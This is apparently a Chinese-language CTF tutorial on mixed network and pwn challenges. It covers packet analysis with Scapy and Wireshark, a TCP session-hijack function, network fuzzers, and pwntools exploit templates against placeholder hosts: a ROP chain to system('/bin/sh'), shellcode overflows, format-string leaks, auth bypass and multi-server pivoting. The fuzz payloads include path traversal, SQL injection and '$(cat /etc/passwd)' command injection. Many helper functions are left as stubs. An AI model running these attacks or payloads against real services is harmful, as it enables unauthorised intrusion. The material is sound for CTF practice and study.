154_Network与Pwn混合挑战：从网络协议分析到远程漏洞利用的实战指南

OSI七层模型：
物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层

TCP/IP四层模型：
网络接口层 → 网络层 → 传输层 → 应用层

# 常见过滤器
tcp.port == 8080  # 过滤特定端口
ip.addr == 192.168.1.1  # 过滤特定IP
http.request  # 过滤HTTP请求
tcp contains "password"  # 过滤包含特定字符串的TCP数据包

# 分析TCP三次握手
1. SYN包：源端口→目标端口，SYN标志位=1，SEQ=x
2. SYN-ACK包：目标端口→源端口，SYN=1，ACK=1，SEQ=y，ACK=x+1
3. ACK包：源端口→目标端口，ACK=1，SEQ=x+1，ACK=y+1

# 分析HTTP请求
GET /resource HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0...
...

#!/usr/bin/env python3
from scapy.all import *

# 创建数据包
tcp_packet = IP(dst="192.168.1.1")/TCP(sport=1234, dport=80, flags="S")

# 发送数据包并接收响应
response = sr1(tcp_packet)

# 分析响应
if response:
    response.show()
    print(f"响应源IP: {response[IP].src}")
    print(f"TCP标志位: {response[TCP].flags}")

# 发送HTTP请求
http_request = IP(dst="example.com")/TCP(dport=80, flags="A")/
               "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
response = sr1(http_request)

#!/usr/bin/env python3
from scapy.all import *

# 定义自定义协议类
class CustomProtocol(Packet):
    name = "Custom Protocol"
    fields_desc = [
        ByteField("version", 1),
        ByteField("type", 0),
        ShortField("length", None),
        StrLenField("data", "", length_from=lambda pkt: pkt.length)
    ]

# 分析数据包
def analyze_packet(packet):
    if TCP in packet and packet[TCP].dport == 12345:
        # 尝试解析为自定义协议
        custom_data = packet[TCP].payload
        try:
            custom_proto = CustomProtocol(custom_data)
            print(f"版本: {custom_proto.version}, 类型: {custom_proto.type}")
            print(f"数据: {custom_proto.data}")
        except:
            print("无法解析为自定义协议")

# 捕获数据包
sniff(filter="tcp port 12345", prn=analyze_packet, count=10)

#!/usr/bin/env python3
from scapy.all import *

# TCP会话劫持示例
def hijack_session(target_ip, target_port, source_ip, source_port, seq, ack):
    # 构造伪造的TCP数据包
    packet = IP(src=source_ip, dst=target_ip)/
             TCP(sport=source_port, dport=target_port,
                 flags="PA", seq=seq, ack=ack)/
             "注入的恶意数据"
    
    # 发送数据包
    send(packet)
    print(f"已发送会话劫持数据包: {source_ip}:{source_port} -> {target_ip}:{target_port}")

#!/usr/bin/env python3
import socket
import itertools

# 对网络服务进行模糊测试
def network_fuzz(target_ip, target_port):
    # 测试不同长度的输入
    for length in [10, 100, 1000, 10000]:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target_ip, target_port))
            
            # 发送大量数据
            payload = "A" * length
            sock.send(payload.encode())
            
            # 尝试接收响应
            response = sock.recv(4096)
            print(f"发送 {length} 字节，响应: {response.decode('utf-8', 'ignore')}")
            
        except Exception as e:
            print(f"发送 {length} 字节时发生错误: {e}")
        finally:
            sock.close()

# 测试特殊字符
    special_chars = ["\x00", "\xff", "\x0a", "\x0d", "../", "/etc/passwd"]
    for char in special_chars:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target_ip, target_port))
            sock.send(char.encode())
            response = sock.recv(4096)
            print(f"发送特殊字符 {repr(char)}，响应: {response.decode('utf-8', 'ignore')}")
        except Exception as e:
            print(f"发送特殊字符 {repr(char)} 时发生错误: {e}")
        finally:
            sock.close()

#!/usr/bin/env python3
from pwn import *

# 建立远程连接
p = remote('target.com', 1337)

# 接收数据
response = p.recvuntil(b'>')
print(f"收到: {response}")

# 发送数据
p.sendline(b'payload')

# 交互式shell
p.interactive()

# 关闭连接
p.close()

#!/usr/bin/env python3
from pwn import *

# 设置目标
context.log_level = 'debug'
context.arch = 'amd64'  # 设置架构

# 建立连接
p = remote('target.com', 1337)

# 查找偏移量
offset = 120  # 假设已通过测试确定

# 查找ROP gadgets
# 使用ROPgadget或ropper工具
pop_rdi = 0x00400703  # pop rdi; ret
system_plt = 0x00400520  # system函数的PLT地址
bin_sh = 0x00601040  # "/bin/sh"字符串地址

# 构造ROP链
rop_chain = flat([
    pop_rdi,
    bin_sh,
    system_plt
])

# 构造完整payload
payload = b'A' * offset + rop_chain

# 发送payload
p.recvuntil(b'Enter your input:')
p.sendline(payload)

# 交互式shell
p.interactive()

#!/usr/bin/env python3
from pwn import *

class NetworkPwnAttack:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.conn = None
    
    def connect(self):
        """建立连接"""
        self.conn = remote(self.host, self.port)
        log.info(f"已连接到 {self.host}:{self.port}")
    
    def stage1_protocol_analysis(self):
        """第一阶段：协议分析"""
        log.info("开始第一阶段：协议分析")
        # 接收并分析初始通信
        response = self.conn.recvline()
        log.debug(f"收到初始响应: {response}")
        
        # 发送协议握手数据
        self.conn.sendline(b'HANDSHAKE')
        
        # 分析响应中的关键信息
        response = self.conn.recvline()
        return self._extract_key_info(response)
    
    def stage2_info_leak(self, key_info):
        """第二阶段：信息泄露"""
        log.info("开始第二阶段：信息泄露")
        # 构造信息泄露payload
        leak_payload = self._craft_leak_payload(key_info)
        self.conn.sendline(leak_payload)
        
        # 接收并解析泄露的信息
        leak_data = self.conn.recvline()
        return self._parse_leaked_data(leak_data)
    
    def stage3_exploitation(self, leaked_info):
        """第三阶段：漏洞利用"""
        log.info("开始第三阶段：漏洞利用")
        # 使用泄露的信息构造漏洞利用payload
        exploit_payload = self._craft_exploit_payload(leaked_info)
        
        # 发送漏洞利用payload
        self.conn.sendline(exploit_payload)
        
        # 检查是否成功
        try:
            # 尝试接收shell提示符或成功消息
            response = self.conn.recv(timeout=2)
            return b"success" in response.lower() or b"#" in response
        except:
            return False
    
    def get_shell(self):
        """获取交互式shell"""
        log.success("漏洞利用成功，获取shell！")
        self.conn.interactive()
    
    def run_attack(self):
        """运行完整攻击流程"""
        try:
            self.connect()
            key_info = self.stage1_protocol_analysis()
            leaked_info = self.stage2_info_leak(key_info)
            
            if self.stage3_exploitation(leaked_info):
                self.get_shell()
            else:
                log.failure("漏洞利用失败")
        except Exception as e:
            log.error(f"攻击过程中发生错误: {e}")
        finally:
            if self.conn:
                self.conn.close()
    
    # 辅助方法
    def _extract_key_info(self, data):
        # 实现从响应中提取关键信息的逻辑
        pass
    
    def _craft_leak_payload(self, key_info):
        # 实现构造信息泄露payload的逻辑
        pass
    
    def _parse_leaked_data(self, data):
        # 实现解析泄露数据的逻辑
        pass
    
    def _craft_exploit_payload(self, leaked_info):
        # 实现构造漏洞利用payload的逻辑
        pass

# 主函数
if __name__ == "__main__":
    attack = NetworkPwnAttack("target.com", 1337)
    attack.run_attack()

# 使用Wireshark捕获通信
tshark -i any -f "tcp port 1337" -w capture.pcap

# 或使用tcpdump
tcpdump -i any tcp port 1337 -w capture.pcap

# 使用pwntools与服务器交互并分析协议
from pwn import *

p = remote('target.com', 1337)

# 记录初始响应
initial = p.recvline()
print(f"Initial response: {initial}")

# 尝试发送不同的消息并观察响应
p.sendline(b'HELLO')
response = p.recvline()
print(f"HELLO response: {response}")

# 继续测试其他命令...

# 在理解协议后构造漏洞利用payload
from pwn import *

p = remote('target.com', 1337)

# 协议握手
p.recvuntil(b'GREETING')
p.sendline(b'HELLO')

# 发送漏洞利用payload
# 假设协议格式为：COMMAND [DATA]
# 并且DATA字段存在缓冲区溢出漏洞
offset = 120  # 已确定的偏移量
shellcode = asm(shellcraft.sh())

# 构造协议合规的漏洞利用payload
payload = b'PROCESS ' + shellcode.ljust(offset, b'A') + p64(shellcode_addr)

p.sendline(payload)

# 获取shell
p.interactive()

# 假设使用简单的加密，如XOR
def analyze_encryption(client_data, server_response):
    # 分析客户端数据和服务器响应之间的关系
    # 尝试找出加密密钥或模式
    pass

# 使用pwntools实现认证绕过
from pwn import *

p = remote('target.com', 1337)

# 协议握手
p.recvuntil(b'CONNECT')

# 发送伪造的认证数据
# 假设通过分析发现了认证算法的缺陷
auth_payload = craft_fake_auth()  # 实现此函数
p.sendline(auth_payload)

# 验证是否成功绕过认证
response = p.recvline()
if b'Welcome' in response:
    print("认证绕过成功!")

# 在成功绕过认证后，利用后续的漏洞
# 例如格式化字符串漏洞

# 格式化字符串漏洞利用
format_str = b'%x.%x.%x.%x'
p.sendline(format_str)

# 解析泄露的内存地址
leaked = p.recvline()
addresses = parse_leaked_addresses(leaked)  # 实现此函数

# 构造最终的漏洞利用payload
exploit = build_exploit(addresses)  # 实现此函数
p.sendline(exploit)

# 获取shell
p.interactive()

# 分析第一个服务器
server_a = remote('server-a.com', 1337)

# 发现信息泄露漏洞并获取关键信息
server_a.sendline(b'INFO')
info = server_a.recvline()
key_info = extract_key_info(info)

# 使用从服务器A获取的信息攻击服务器B
server_b = remote('server-b.com', 2333)

# 利用从服务器A获取的信息进行身份认证或漏洞利用
auth_payload = craft_auth_payload(key_info)
server_b.sendline(auth_payload)

# 获取服务器B上的漏洞利用所需信息
server_b.sendline(b'EXPLOIT_STEP')
exploit_info = server_b.recvline()

# 使用从服务器B获取的信息攻击主服务器
main_server = remote('main-server.com', 3333)

# 构造最终的漏洞利用payload
final_payload = craft_final_exploit(exploit_info)
main_server.sendline(final_payload)

# 获取最终的shell
main_server.interactive()

#!/usr/bin/env python3
import socket
import itertools
import threading
import queue
import time

class ProtocolFuzzer:
    def __init__(self, host, port, timeout=2):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.results = []
    
    def fuzz(self, payloads, threads=10):
        """使用多线程进行模糊测试"""
        q = queue.Queue()
        
        # 填充队列
        for payload in payloads:
            q.put(payload)
        
        # 创建工作线程
        thread_list = []
        for _ in range(threads):
            t = threading.Thread(target=self._worker, args=(q,))
            thread_list.append(t)
            t.start()
        
        # 等待所有线程完成
        for t in thread_list:
            t.join()
        
        return self.results
    
    def _worker(self, q):
        """工作线程函数"""
        while not q.empty():
            try:
                payload = q.get(block=False)
                response = self._send_payload(payload)
                
                # 分析响应
                self._analyze_response(payload, response)
                
                # 标记任务完成
                q.task_done()
                
            except queue.Empty:
                break
            except Exception as e:
                print(f"发生错误: {e}")
                q.task_done()
    
    def _send_payload(self, payload):
        """发送payload并返回响应"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.connect((self.host, self.port))
            
            # 发送payload
            sock.send(payload)
            
            # 接收响应
            response = b""
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    response += chunk
            except socket.timeout:
                pass
            
            sock.close()
            return response
            
        except Exception as e:
            return f"ERROR: {str(e)}".encode()
    
    def _analyze_response(self, payload, response):
        """分析响应并记录结果"""
        # 检测是否有崩溃迹象
        is_crash = b"Segmentation fault" in response or b"Bus error" in response
        
        # 检测是否有内存泄露
        has_leak = any(addr in response for addr in [b"0x", b"deadbeef", b"cafebabe"])
        
        # 记录结果
        if is_crash or has_leak or len(response) > 1024:  # 记录异常响应
            self.results.append({
                "payload": payload,
                "response": response,
                "is_crash": is_crash,
                "has_leak": has_leak,
                "response_length": len(response)
            })

# 使用示例
if __name__ == "__main__":
    fuzzer = ProtocolFuzzer("target.com", 1337)
    
    # 生成payloads
    payloads = []
    
    # 添加协议命令格式的payload
    commands = [b"COMMAND1 ", b"COMMAND2 ", b"AUTH ", b"DATA "]
    
    # 各种长度的参数
    lengths = [0, 10, 100, 1000, 10000]
    
    # 特殊字符
    special_chars = [b"\x00", b"\xff", b"../../../", b"' or 1=1--", b"$(cat /etc/passwd)"]
    
    # 生成组合payload
    for cmd in commands:
        for length in lengths:
            payloads.append(cmd + b"A" * length)
        
        for special in special_chars:
            payloads.append(cmd + special)
    
    # 运行模糊测试
    results = fuzzer.fuzz(payloads, threads=20)
    
    # 输出结果
    print(f"发现 {len(results)} 个异常响应")
    for i, result in enumerate(results):
        print(f"\n结果 {i+1}:")
        print(f"Payload: {repr(result['payload'])}")
        print(f"响应长度: {result['response_length']}")
        print(f"是否崩溃: {result['is_crash']}")
        print(f"是否有泄露: {result['has_leak']}")
        print(f"响应前100字节: {repr(result['response'][:100])}")

#!/usr/bin/env python3
from pwn import *
import struct

class CustomProtocolClient:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.conn = None
    
    def connect(self):
        """建立连接"""
        self.conn = remote(self.host, self.port)
        log.info(f"已连接到 {self.host}:{self.port}")
    
    def send_packet(self, packet_type, data):
        """发送自定义协议数据包"""
        # 协议格式: [type(1字节)] [length(4字节)] [data]
        length = len(data)
        packet = struct.pack("!BI", packet_type, length) + data
        self.conn.send(packet)
        return packet
    
    def recv_packet(self):
        """接收并解析自定义协议数据包"""
        # 接收头部
        header = self.conn.recvn(5)  # type(1字节) + length(4字节)
        if not header or len(header) != 5:
            return None, None
        
        # 解析头部
        packet_type, length = struct.unpack("!BI", header)
        
        # 接收数据
        data = self.conn.recvn(length)
        
        return packet_type, data
    
    def close(self):
        """关闭连接"""
        if self.conn:
            self.conn.close()
            self.conn = None

# 使用示例
if __name__ == "__main__":
    client = CustomProtocolClient("target.com", 1337)
    client.connect()
    
    try:
        # 发送握手包
        client.send_packet(0x01, b"HELLO")
        
        # 接收响应
        ptype, data = client.recv_packet()
        print(f"收到包类型: {ptype}, 数据: {data}")
        
        # 发送数据请求
        client.send_packet(0x02, b"REQUEST_DATA")
        
        # 接收数据响应
        ptype, data = client.recv_packet()
        print(f"收到数据: {data}")
        
    finally:
        client.close()

#!/usr/bin/env python3
from pwn import *
import sys
import argparse
import time

class NetworkExploit:
    def __init__(self, host, port, verbose=False):
        self.host = host
        self.port = port
        self.verbose = verbose
        self.conn = None
        
        # 设置日志级别
        context.log_level = 'debug' if verbose else 'info'
    
    def connect(self):
        """建立连接"""
        try:
            self.conn = remote(self.host, self.port)
            log.success(f"成功连接到 {self.host}:{self.port}")
            return True
        except Exception as e:
            log.error(f"连接失败: {e}")
            return False
    
    def info_leak(self):
        """执行信息泄露阶段"""
        log.info("执行信息泄露...")
        # 实现信息泄露逻辑
        # 返回泄露的关键信息，如地址、密钥等
        pass
    
    def exploit(self, leak_info):
        """执行漏洞利用"""
        log.info("执行漏洞利用...")
        # 使用泄露的信息构造并发送漏洞利用payload
        # 返回是否成功
        pass
    
    def get_shell(self):
        """获取交互式shell"""
        log.success("漏洞利用成功！获取shell...")
        self.conn.interactive()
    
    def run(self):
        """运行完整的漏洞利用流程"""
        try:
            if not self.connect():
                return False
            
            leak_info = self.info_leak()
            if not leak_info:
                log.error("信息泄露失败")
                return False
            
            if not self.exploit(leak_info):
                log.error("漏洞利用失败")
                return False
            
            self.get_shell()
            return True
            
        except KeyboardInterrupt:
            log.info("用户中断")
        except Exception as e:
            log.error(f"发生错误: {e}")
            if self.verbose:
                import traceback
                traceback.print_exc()
        finally:
            if self.conn:
                self.conn.close()
        
        return False

# 使用示例
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="网络漏洞利用工具")
    parser.add_argument("host", help="目标主机IP")
    parser.add_argument("-p", "--port", type=int, default=1337, help="目标端口")
    parser.add_argument("-v", "--verbose", action="store_true", help="启用详细输出")
    
    args = parser.parse_args()
    
    exploit = NetworkExploit(args.host, args.port, args.verbose)
    success = exploit.run()
    
    sys.exit(0 if success else 1)

# Python安全通信示例
import ssl
import socket

# 创建安全的SSL上下文
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile='server.crt', keyfile='server.key')

# 创建并包装socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(('0.0.0.0', 443))
    sock.listen(5)
    with context.wrap_socket(sock, server_side=True) as secure_sock:
        while True:
            client_sock, addr = secure_sock.accept()
            # 安全通信处理
            data = client_sock.recv(1024)
            # 处理数据...

# 禁用危险的HTTP方法
# 在Apache配置中
<Directory /var/www/html>
    <LimitExcept GET POST HEAD>
        deny from all
    </LimitExcept>
</Directory>

# 在Nginx配置中
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
    return 405;
}

# 使用pwntools分析协议
from pwn import *

p = remote('ctf.example.com', 1337)

# 接收欢迎消息
welcome = p.recvline()
print(f"欢迎消息: {welcome}")

# 尝试不同命令
p.sendline(b'HELP')
help_text = p.recvline()
print(f"帮助信息: {help_text}")

# 识别协议格式
# 假设协议命令格式为: COMMAND [ARG1] [ARG2] ...

# 模糊测试发现漏洞
for i in range(100):
    try:
        p = remote('ctf.example.com', 1337)
        p.recvline()  # 跳过欢迎消息
        
        # 发送超长文件名
        payload = b'STORE ' + b'A' * (i * 10)
        p.sendline(payload)
        
        # 检查响应
        response = p.recv(timeout=2)
        if not response:
            print(f"可能的崩溃在长度 {i*10}")
    except:
        pass

# 堆溢出漏洞利用
from pwn import *

p = remote('ctf.example.com', 1337)
p.recvline()  # 跳过欢迎消息

# 分配堆块
p.sendline(b'STORE chunk1')
p.sendline(b'10')  # 大小
p.sendline(b'AAAAAAAAAA')  # 数据

# 触发堆溢出
# 假设漏洞在NAME参数的处理中
payload = b'STORE ' + b'A' * 100 + p64(shellcode_addr)
p.sendline(payload)

# 执行shellcode
p.sendline(b'EXEC chunk1')

# 获取shell
p.interactive()